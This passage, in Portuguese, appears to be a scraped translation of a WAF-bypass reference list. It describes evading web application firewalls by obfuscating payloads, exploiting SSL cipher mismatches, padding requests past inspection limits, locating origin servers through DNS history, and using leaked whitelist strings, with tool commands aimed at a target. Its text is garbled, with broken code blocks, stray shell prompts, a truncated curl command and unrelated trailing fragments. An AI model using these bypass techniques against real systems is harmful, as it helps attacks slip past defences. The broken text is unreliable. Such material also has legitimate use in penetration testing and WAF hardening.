- [JSFuck](http://www.jsfuck.com/)
- [JJEncode](http://utf-8.jp/public/jjencode.html)
- [XChars.JS](https://syllab.fr/projets/experiments/xcharsjs/5chars.pipeline.html)
> No entanto, o problema em usar as estruturas sintáticas acima é o tamanho dos payloads, que podem ser detectados pelo WAF ou podem ser bloqueados pelo CSP. No entanto, nunca se sabe, eles podem contornar o CSP (se presente) também. ;)

### Abusando de Cifras SSL/TLS:
- Muitas vezes, os servidores aceitam conexões de várias cifras e versões SSL/TLS.
- Usar uma cifra para inicializar uma conexão com o servidor que não é suportada pelo WAF pode fazer o nosso trabalho.

#### Técnica:
- Descubra as cifras suportadas pelo firewall (geralmente a documentação do fornecedor do WAF discute isso).
- Descubra as cifras suportadas pelo servidor (ferramentas como o [SSLScan](https://github.com/rbsec/sslscan) ajudam aqui).
- Se uma cifra específica não suportada pelo WAF, mas suportada pelo servidor, for encontrada, voilà!
- Iniciar uma nova conexão com o servidor usando essa cifra específica deve contrabandear nosso payload.

> __Ferramenta__: [abuse-ssl-bypass-waf](https://github.com/LandGrey/abuse-ssl-bypass-waf)```
python abuse-ssl-bypass-waf.py -thread 4 -target <target>

Ferramentas de CLI como o cURL podem ser muito úteis para PoCs:``` curl --ciphers -G -d

root@kitploit:~
### Abuso do limite do WAF em respostas HTTP
#### Método
- Muitas vezes, os WAFs têm um limite sobre _quanto_ da requisição HTTP eles devem processar.
- Ao enviar uma requisição HTTP com um tamanho __maior que o limite__, podemos evadir completamente os WAFs.

#### Técnica
- Use uma abordagem de tentativa e erro para descobrir quanto da requisição HTTP está sendo inspecionado pelo WAF (geralmente em múltiplos de 4 kB).
- Feito isso, anexe seu payload à requisição após preencher o limite com lixo.

> Uma técnica semelhante foi usada para [contornar o WAF do Google Cloud Platform](https://kloudle.com/blog/piercing-the-cloud-armor-the-8kb-bypass-in-google-cloud-platform-waf).

### Abusando do histórico de DNS:
- Frequentemente, registros históricos antigos de DNS fornecem informações sobre a localização do site por trás do WAF.
- O objetivo é obter a localização do site, para que possamos rotear nossas requisições diretamente para o site e não através do WAF.
> __DICA:__ Alguns serviços online como [IP History](http://www.iphistory.ch/en/) e [DNS Trails](https://securitytrails.com/dns-trails) vêm ao resgate durante o processo de reconhecimento.  

__Ferramenta__: [bypass-firewalls-by-DNS-history](https://github.com/vincentcox/bypass-firewalls-by-DNS-history)```
bash bypass-firewalls-by-DNS-history.sh -d <target> --checkall

Usando Strings de Lista de Permissões:

Método:

  • Alguns desenvolvedores de WAF mantêm um segredo compartilhado com seus usuários/desenvolvedores que lhes permite passar consultas prejudiciais através do WAF.
  • Esse segredo compartilhado, se vazado/conhecido, pode ser usado para contornar todas as proteções dentro do WAF.

Técnica:

  • Usar a string de lista de permissões como parâmetro em requisições GET/POST/PUT/DELETE contrabandeia nosso payload através do WAF.
  • Normalmente, algumas palavras-chave *-sync-request ou um valor de token compartilhado é usado como segredo.
  • Frequentemente, adicionar cabeçalhos específicos pode desencadear um comportamento similar de lista de permissões.

Agora, ao fazer uma requisição ao servidor, você pode anexá-lo como um parâmetro:```

root@kitploit:~

---

[Read more](https://github.com/0xinfection/awesome-waf)
  • Query string em seu formato original (pode ser url-encoded como de costume).
  • Corpo pode ser enviado com ou sem url-encoding.
  • Sinal de igual e "e" comercial não devem ser codificados de forma alguma.
Um array é retornado
ARRAY(0x8b9058c)